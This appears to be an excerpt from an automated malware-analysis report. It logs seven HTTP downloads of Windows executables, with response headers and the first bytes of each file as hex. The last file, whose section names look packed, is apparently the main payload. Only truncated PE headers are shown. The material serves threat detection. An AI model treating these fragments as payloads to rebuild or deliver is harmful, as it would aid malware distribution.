Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 22:36:45 GMTContent-Type: application/octet-streamContent-Length: 3270144Last-Modified: Sat, 16 Nov 2024 22:11:33 GMTConnection: keep-aliveETag: "67391895-31e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 32 00 00 04 00 00 68 33 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d6 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 d5 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 6d 6d 73 6b 65 71 63 00 30 2b 00 00 b0 06 00 00 28 2b 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 78 65 74 71 67 78 67 00 10 00 00 00 e0 31 00 00 04 00 00 00 c0 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 31 00 00 22 00 00 00 c4 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
